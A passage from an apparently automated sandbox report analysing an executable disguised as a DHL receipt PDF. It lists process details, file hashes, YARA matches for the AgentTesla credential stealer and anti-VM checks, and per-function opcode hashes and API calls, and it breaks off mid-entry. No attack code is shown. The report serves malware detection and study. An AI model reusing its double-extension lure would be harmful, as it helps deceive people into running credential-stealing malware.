p=iHjcyDlEwf5GQm3VdiOFJLU3tYQL1YIXKfxaIhkMcTRIqIOb57bgBQHw3zR9os9tcqO46Wz88D%2B08%2Bsbs0ju%2BwBe0vfbTF2ezYf7KD1aVm1h%2BEzFhjGwEzDg7qyDAjNw%2B0mNYJqFYQMYFhGMJRcNB16eME/yovg7PxI7cO%2BHsmqxva0S87zlA9Eo%2BK53t5lCp9rMkfU/RRTPPtiBV1zMNYQyqFWT5eGuRa9XhUDLQXu6vLs
2021-11-25 10:38:56 UTC	2	IN	HTTP/1.1 200 OK Date: Thu, 25 Nov 2021 10:38:56 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 2 []
2021-11-25 10:38:57 UTC	2	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: DHL_119040 ontvangstbewijs,pdf.exe PID: 4532 Parent PID: 6012

General

Start time:	11:37:16
Start date:	25/11/2021
Path:	C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe"
Imagebase:	0x4b0000
File size:	687616 bytes
MD5 hash:	A9B63C434E205092B3373E35C051A04A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: DHL_119040 ontvangstbewijs,pdf.exe PID: 6736 Parent PID: 4532

General

Start time:	11:37:20
Start date:	25/11/2021
Path:	C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe
Imagebase:	0x500000
File size:	687616 bytes
MD5 hash:	A9B63C434E205092B3373E35C051A04A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.306305831.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.306305831.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.306831919.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.306831919.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.307479462.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.307479462.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.564785123.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000002.564785123.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.567348132.0000000002960000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: DHL_119040 ontvangstbewijs,pdf.exe PID: 4532 Parent PID: 6012 DHL_119040 ontvangstbewijs,pdf.exeCOMMON

Executed Functions

Function 00D9D2F8, Relevance: 5.0, Strings: 3, Instructions: 1294COMMON

Download Yara Rule

Strings

48vm, xrefs: 00D9DCA8
48vm, xrefs: 00D9DCB2
d, xrefs: 00D9D80A

Memory Dump Source

Source File: 00000001.00000002.309671670.0000000000D90000.00000040.00000001.sdmp, Offset: 00D90000, based on PE: false

Similarity

API ID:
String ID: 48vm$48vm$d
API String ID: 0-3227716652
Opcode ID: 5d5920e8dd41fc2c45e9d395c806644c3a8fd4586cf9eb36965d99cd26bfd890
Instruction ID: f2e72d9fd4e76a65955f4882170d39db403bd0a95bfae20399fcfed6dc76da2f
Opcode Fuzzy Hash: 5d5920e8dd41fc2c45e9d395c806644c3a8fd4586cf9eb36965d99cd26bfd890
Instruction Fuzzy Hash: 3AC25D74B00219CFDB18EF64D949AA9B7B2FB89304F1485E9D8099B369DB34EC42CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00D98250, Relevance: .5, Instructions: 516COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.309671670.0000000000D90000.00000040.00000001.sdmp, Offset: 00D90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd31e9595f79a93f2711e8b44169b3c1a281280913c25ae2086ea425c52f8565
Instruction ID: 6730fea4fead2378cb5f0eb07ee8d85aad43bf712673b19e35755b1771e6b5ff
Opcode Fuzzy Hash: fd31e9595f79a93f2711e8b44169b3c1a281280913c25ae2086ea425c52f8565
Instruction Fuzzy Hash: 14023330A042118FDF54DFB9C5846BE77B2AF86B01F1A4865D856DB281CF38DD44EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0507F190, Relevance: 5.2, Strings: 4, Instructions: 177COMMON

Download Yara Rule

Strings

Xcvm, xrefs: 0507F248
Xcvm, xrefs: 0507F28B
Xcvm, xrefs: 0507F256
Xcvm, xrefs: 0507F297

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID: Xcvm$Xcvm$Xcvm$Xcvm
API String ID: 0-1447387614
Opcode ID: bf24fb999571b961fa84430af01128c1aff5c7f76ae11def1af89e6898873e97
Instruction ID: cd641fe9c8a733b29e20ada83020a831a48752b2a498cac6b6dc6f65c596bc0d
Opcode Fuzzy Hash: bf24fb999571b961fa84430af01128c1aff5c7f76ae11def1af89e6898873e97
Instruction Fuzzy Hash: 64618F35F141199FCB14CFA8E958AAD7BF6BF88714F148469E902AB390DB31DC01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D94497, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00D94522

Memory Dump Source

Source File: 00000001.00000002.309671670.0000000000D90000.00000040.00000001.sdmp, Offset: 00D90000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: c97619b95e5f988f223d7ffb795e44638abf90c3d720185716d97894368011eb
Instruction ID: 908fdb9369d8de4658adc861982abbbc8ad6ca7f69be59401acf8337aac00f51
Opcode Fuzzy Hash: c97619b95e5f988f223d7ffb795e44638abf90c3d720185716d97894368011eb
Instruction Fuzzy Hash: D321CAB19053448FDF50CFA9E549B9EBFF0EB49318F14846AC805A3202D3389A46CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00D94747, Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00D947CD

Memory Dump Source

Source File: 00000001.00000002.309671670.0000000000D90000.00000040.00000001.sdmp, Offset: 00D90000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 17bf5b852108d0d7d5be74fc6dfd0636d79ec3fff62870f85e826ec57ed66067
Instruction ID: 8188c2d9450dd1d583ecd1c8fa63be7665eda9abb2a6e5344cf54f7053d17b1e
Opcode Fuzzy Hash: 17bf5b852108d0d7d5be74fc6dfd0636d79ec3fff62870f85e826ec57ed66067
Instruction Fuzzy Hash: 7D219DB48013888FDF60DFA5E548BDEBBF4EB09318F14446AD404E7642D7399906CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D944A8, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00D94522

Memory Dump Source

Source File: 00000001.00000002.309671670.0000000000D90000.00000040.00000001.sdmp, Offset: 00D90000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 653a2ac5108b557a79a0206a882826a4356d5cfa2291f056ca830977b9b2a099
Instruction ID: e5ed043ad833c6610ab9a2df6152b0c9a1612091ef771e9917643e050ec58eeb
Opcode Fuzzy Hash: 653a2ac5108b557a79a0206a882826a4356d5cfa2291f056ca830977b9b2a099
Instruction Fuzzy Hash: B911ACB0A013448FDF50CFA9E508B9EBBF4FB49318F148429D804A3702C778A985CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D94758, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00D947CD

Memory Dump Source

Source File: 00000001.00000002.309671670.0000000000D90000.00000040.00000001.sdmp, Offset: 00D90000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 0e65b9b5967bedb51097517f694513f8ec6edd0b14e20d56e53eee53807ef6ae
Instruction ID: 894fae6f4c9e6f77af0e6ca302fb88ced14cb9864430b4d7101bda60b46d4a57
Opcode Fuzzy Hash: 0e65b9b5967bedb51097517f694513f8ec6edd0b14e20d56e53eee53807ef6ae
Instruction Fuzzy Hash: 8D118BB4C013888FDF60DFA9E508B9ABBF8EB08318F144429D404A7742C778A905CFB2

Uniqueness

Uniqueness Score: -1.00%

Function 0507F7B8, Relevance: .8, Instructions: 826COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530459d9e66345f66489bb42ed28b9d81cf14b6c4f0ba90e0c5d83575124e740
Instruction ID: 182f9d1d6a8cb6094e4d743ab09bf84a8a9b81c04a3d64b0e5415a85fcb3f5a4
Opcode Fuzzy Hash: 530459d9e66345f66489bb42ed28b9d81cf14b6c4f0ba90e0c5d83575124e740
Instruction Fuzzy Hash: E5A16A30A0411AAFCB14DFA4E855AAE7BA7BF88354F148429F8069B394DF30DD52CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0507F5B8, Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588b28192eb71a474eb244a5ccd29a05e9a0f708462bf36846be2dd506c2bab6
Instruction ID: 1198024a050e84e2f09bdfc2708a101300f63d58a8b1e6f5f2ccf97314b7b98e
Opcode Fuzzy Hash: 588b28192eb71a474eb244a5ccd29a05e9a0f708462bf36846be2dd506c2bab6
Instruction Fuzzy Hash: C151B131F0460B8FCB14DFB8EA8896E7BF6BF85214F1584A9D405D7265EB30E841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0507E840, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f87711f9c9adb92a07105f8086098132e00a6a15fc8270e8232598df1a66f9a3
Instruction ID: 667b51cdf7483c3037ac67f47d9eab67566f04aaa4416395928f0de13af50a98
Opcode Fuzzy Hash: f87711f9c9adb92a07105f8086098132e00a6a15fc8270e8232598df1a66f9a3
Instruction Fuzzy Hash: F6319571D0611DCBDB80CF7AE8406AEB7B9FF44300F1046E7E829AB291C3349950CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0507E9A8, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f44254078ccc3879aef2975ac45cb794dcd6ddcf770c53bbe343753e7dbc87b9
Instruction ID: 939fd4efa5cc3d30e86ee5a2ca338f3e6263c5cf9d09596c183dcb8af05189a7
Opcode Fuzzy Hash: f44254078ccc3879aef2975ac45cb794dcd6ddcf770c53bbe343753e7dbc87b9
Instruction Fuzzy Hash: 5F215031A04108BFDB54EB749C56BFE7BBAEB84714F1084A5F506DB284DE355D028791

Uniqueness

Uniqueness Score: -1.00%

Function 0507E7E8, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08190d34af337bbcdb4dd089725d4395e20b5f05aefe9b64c1d0be422152217d
Instruction ID: d27a6844356c56712fbc4ba80b6670e2e43bd4469302ee254def9e57995a9bd8
Opcode Fuzzy Hash: 08190d34af337bbcdb4dd089725d4395e20b5f05aefe9b64c1d0be422152217d
Instruction Fuzzy Hash: 68E0863138021437D60921559C1BFBB798DDBC1E60F10806AF5059B7C5CDE15D064295

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004B5C24, Relevance: 1.4, Instructions: 1428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.309034785.00000000004B2000.00000002.00020000.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000001.00000002.309029517.00000000004B0000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bee907d7069a6a7431012f7c1f7085b046a5a23ea52d67a1b799bc1e493187a6
Instruction ID: 31380059d4d1f2d9fae62e156d729935bbedb4f72d21c8e4311ed7e538938710
Opcode Fuzzy Hash: bee907d7069a6a7431012f7c1f7085b046a5a23ea52d67a1b799bc1e493187a6
Instruction Fuzzy Hash: 0CC2FF6180E7C14FDB138B7899B52D5BFB1AE2721871E49CBC0C1CF0A3E1195A5BD726

Uniqueness

Uniqueness Score: -1.00%

Function 05075AA0, Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b7c112294a591ec6bb47d92dc5676fb422260b1ca0a3bc952c07d4cfc9f1a4
Instruction ID: 7589081cf798c28a791cd4ef7bd1f81c943137d69bea80e2765bf995f69beacc
Opcode Fuzzy Hash: 02b7c112294a591ec6bb47d92dc5676fb422260b1ca0a3bc952c07d4cfc9f1a4
Instruction Fuzzy Hash: 23D1D931C2074ACACB10EF64D994AEDB7B1FF95200F518B9AE50A37264EF706AC5CB41

Uniqueness

Uniqueness Score: -1.00%

Function 05075AB0, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.311909000.0000000005070000.00000040.00000001.sdmp, Offset: 05070000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c62ccd16d08f7d6dfa2e1d0519199b152928c8c47cba3a2c84d6e8a5fe42a90f
Instruction ID: f56d71268ca33f2436bbee0e4e75558cc3975372c3b1aab36cf41c1a6b79f8fc
Opcode Fuzzy Hash: c62ccd16d08f7d6dfa2e1d0519199b152928c8c47cba3a2c84d6e8a5fe42a90f
Instruction Fuzzy Hash: CED1C831C2065ACACB10EFA4D954AEDB7B1FF95200F518B9AE50A37264EF706AC5CB41

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: DHL_119040 ontvangstbewijs,pdf.exe PID: 6736 Parent PID: 4532 DHL_119040 ontvangstbewijs,pdf.exeCOMMON

Executed Functions

Function 00C756E8, Relevance: 3.4, Instructions: 3358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16f0c38dd13739eddda81ea431a2549f30f485f8308389cf467b56f728d7329
Instruction ID: 3cf0e1a52a539976fe1ecb5a79f67cb18a7a0e59491ff44d91762988164c4359
Opcode Fuzzy Hash: c16f0c38dd13739eddda81ea431a2549f30f485f8308389cf467b56f728d7329
Instruction Fuzzy Hash: 91733F31D14B598ECB14EF68C8846A9F7B1FF99310F15C69AE55CA7221EB30AAC4CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C8F118, Relevance: 1.6, APIs: 1, Instructions: 148libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C8F179

Memory Dump Source

Source File: 00000004.00000002.566216622.0000000000C80000.00000040.00000010.sdmp, Offset: 00C80000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b4877ac1c0d69279fe18714512cef808fe89b2ea478f582363844e9961464cda
Instruction ID: b513041a0cd6ae6e178f4edb36222c328dca627cfc811f9238d1ba4088cb8695
Opcode Fuzzy Hash: b4877ac1c0d69279fe18714512cef808fe89b2ea478f582363844e9961464cda
Instruction Fuzzy Hash: 0C51C371A002089FCB14FFB0D858AAEB7F6FF88304F14892AE5169B355DF34A905CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00C7E438, Relevance: 1.1, Instructions: 1102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a57714d2f9983408fbb0583226552520615d9547917ea1fefe66967fc70d292
Instruction ID: 5dc3b0ca8626f52fcdb85c78d97da567e61daae55ef900ed1ee5f9856cdcbf3c
Opcode Fuzzy Hash: 5a57714d2f9983408fbb0583226552520615d9547917ea1fefe66967fc70d292
Instruction Fuzzy Hash: A9925970F002188FDB24EB74CD58BAEB6F2AF89304F1484A9E50AEB395DF749D418B45

Uniqueness

Uniqueness Score: -1.00%

Function 00C721A8, Relevance: 1.0, Instructions: 987COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1798aa7bda4a965682724c6b858de0e71ed97e3315593d9b73371e6f41dbf76e
Instruction ID: a089a0edfd14598ced90872d0105c79c8727aa15468732766a13c30f300ca4e9
Opcode Fuzzy Hash: 1798aa7bda4a965682724c6b858de0e71ed97e3315593d9b73371e6f41dbf76e
Instruction Fuzzy Hash: 7972BE30B042448FCB15EBB4C9586ADBBF2AF89304F14C4A9D419DB3A6DF399D46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B7A0, Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e35c62f826a58ddf3966e6b9d28d009bc54bf1e957d09385a9f3be391dce3e
Instruction ID: a97f6ca7dc3cd9b79ac99e36fc6c588267054ed705916630dfe1a7783d94b4b5
Opcode Fuzzy Hash: 00e35c62f826a58ddf3966e6b9d28d009bc54bf1e957d09385a9f3be391dce3e
Instruction Fuzzy Hash: 02029170F002089FDB24DBB4C954BAEB7E6AF88300F15C569E419EB3A5DB35ED418B51

Uniqueness

Uniqueness Score: -1.00%

Function 00C70D68, Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32ed2dd0243a49e8788b4d50dea4512b8bc4559cca9ac51392e4ec492d4d5d64
Instruction ID: e879b0efaf3b227475db209363ad1fec0d77a09fe88cccebae11e31d8bf9bfe6
Opcode Fuzzy Hash: 32ed2dd0243a49e8788b4d50dea4512b8bc4559cca9ac51392e4ec492d4d5d64
Instruction Fuzzy Hash: 9BD1D730B002045FDB24EBB48858BAEB6E7AFC8304F18C52DE51ADB395DF79AD418795

Uniqueness

Uniqueness Score: -1.00%

Function 02686905, Relevance: 6.1, APIs: 4, Instructions: 147threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 026869A0
GetCurrentThread.KERNEL32 ref: 026869DD
GetCurrentProcess.KERNEL32 ref: 02686A1A
GetCurrentThreadId.KERNEL32 ref: 02686A73

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6b96b3d4877b05fb89aeace6d39837678c223d1d9f471cefe70d631f37431d43
Instruction ID: f992da1efca12f6c34e6210e4eb67249bf8377de0c62c11b910765f98b2c92bb
Opcode Fuzzy Hash: 6b96b3d4877b05fb89aeace6d39837678c223d1d9f471cefe70d631f37431d43
Instruction Fuzzy Hash: 955179B09043848FDB11DFA9CA48BDEBFF0EF49318F24859AD459A73A1C7746844CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02686940, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 026869A0
GetCurrentThread.KERNEL32 ref: 026869DD
GetCurrentProcess.KERNEL32 ref: 02686A1A
GetCurrentThreadId.KERNEL32 ref: 02686A73

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0bd0af8c2bd57e734bbfd4be921db0575a40687c46f4a14b00f689c2d6ef941d
Instruction ID: 3e0f4ca2f608392be3dd105e9c654ae34bb6ef4ff52055f72f9c20c1b82ae1c0
Opcode Fuzzy Hash: 0bd0af8c2bd57e734bbfd4be921db0575a40687c46f4a14b00f689c2d6ef941d
Instruction Fuzzy Hash: EA5166B0900649CFDB14CFA9C648BDEBBF4EF48318F248559E459A73A0D774A844CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02688FF8, Relevance: 2.0, APIs: 1, Instructions: 503COMMON

Download Yara Rule

APIs

SetWindowLongPtrW.USER32 ref: 0268967C

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 5368b4cb476a358265d8a26bf6943f595c324e546f6fb08395db1cc87978ef24
Instruction ID: 3bbbe314828ba1c54148afb5d4af37d87d59127d1e33f0a18276e6d3684369af
Opcode Fuzzy Hash: 5368b4cb476a358265d8a26bf6943f595c324e546f6fb08395db1cc87978ef24
Instruction Fuzzy Hash: 6212C530B046448FCB25BBB8D4583AD7BE2EFD5308F108569C4469B798DF7A9C45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02688FE9, Relevance: 1.9, APIs: 1, Instructions: 420COMMON

Download Yara Rule

APIs

SetWindowLongPtrW.USER32 ref: 0268967C

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 58487fb5afb476942607bd6ceda4b2fe4d4791b5be588d853fd2f9e97f5349f9
Instruction ID: c304f123bb07db0d82486a5eb65d56480f44cfba4b159b04da8dd780987c0651
Opcode Fuzzy Hash: 58487fb5afb476942607bd6ceda4b2fe4d4791b5be588d853fd2f9e97f5349f9
Instruction Fuzzy Hash: D6F19130B046408BCB25FB78D4583BD7BA2AFD9308F108569D5468B798DF7A9C46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02689298, Relevance: 1.7, APIs: 1, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f6ef75b504491fb6fb72196d9d7ec244a9177ec0b840cd20db3f3a2a8de9a01
Instruction ID: 99580ae71255bfaee4bb033de395f8fd4df096dc20b785b08beb1a075abec861
Opcode Fuzzy Hash: 9f6ef75b504491fb6fb72196d9d7ec244a9177ec0b840cd20db3f3a2a8de9a01
Instruction Fuzzy Hash: 299183307046408BDB36BB78D45837D7BA2AFD5308F148569D0578B798DF7AAC49CB82

Uniqueness

Uniqueness Score: -1.00%

Function 026892D9, Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

SetWindowLongPtrW.USER32 ref: 0268967C

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: ec66a5230a3a4228f3b56c0460e42651a008d11b85ff36732bacae7a4459086c
Instruction ID: 6c18e707445c639343fe998ab467778c573077925e78247e55907ecd32cf80b6
Opcode Fuzzy Hash: ec66a5230a3a4228f3b56c0460e42651a008d11b85ff36732bacae7a4459086c
Instruction Fuzzy Hash: 9D9182307046408BDB36BB78D45837D7BA2AFD5308F148969D0578B798DF7AAC498B82

Uniqueness

Uniqueness Score: -1.00%

Function 00C8F0B8, Relevance: 1.7, APIs: 1, Instructions: 174libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C8F179

Memory Dump Source

Source File: 00000004.00000002.566216622.0000000000C80000.00000040.00000010.sdmp, Offset: 00C80000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a1f93c05ae1c7db377b3eafa6b11f7829e04d8cb6eaca900b38db8e1740c5a03
Instruction ID: 96763fdd902516023714a9abb2e336ea53a165b10c7b1ae0cb2baacd9b7b6340
Opcode Fuzzy Hash: a1f93c05ae1c7db377b3eafa6b11f7829e04d8cb6eaca900b38db8e1740c5a03
Instruction Fuzzy Hash: 2051C331A002049FCB15FBB0D858AAEB7F5EF89304F14897AE156DB295DF349D0ACB64

Uniqueness

Uniqueness Score: -1.00%

Function 0268500F, Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 686d696250915acb0a0996390cdd3e1e140ccacc15cf6229f5bccd7b0aaf6e30
Instruction ID: 5158e3e4b78688ec0f0c80e27a2205af4148b6b224bbed44c5752d9bae4a0bf0
Opcode Fuzzy Hash: 686d696250915acb0a0996390cdd3e1e140ccacc15cf6229f5bccd7b0aaf6e30
Instruction Fuzzy Hash: 0C6121B1C04348AFDB05DFA9C880ADDBFB2BF49304F15826AE908AB221D7319855CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02685084, Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 026851A2

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 2b059de91c76a54c2bb43129713d1cfd99cfcd333f037757feb2b5923b66fc7d
Instruction ID: 4af6dc1ac23ed01903da6293b9b24e6aa78c7f32134f2bb9410d90fd75def332
Opcode Fuzzy Hash: 2b059de91c76a54c2bb43129713d1cfd99cfcd333f037757feb2b5923b66fc7d
Instruction Fuzzy Hash: 7C51F0B1D10308DFDF15CFA9C984ADEBBB5BF48314F65822AE819AB210D7749845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02685090, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 026851A2

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 161bd7471c55cf5447b0efcd9d06242577b4837a0f4af46620bfcca963447129
Instruction ID: abc95f30181141ae5c2f87c52e594d3ad9fc9f6b27c1d4541524314a472f578b
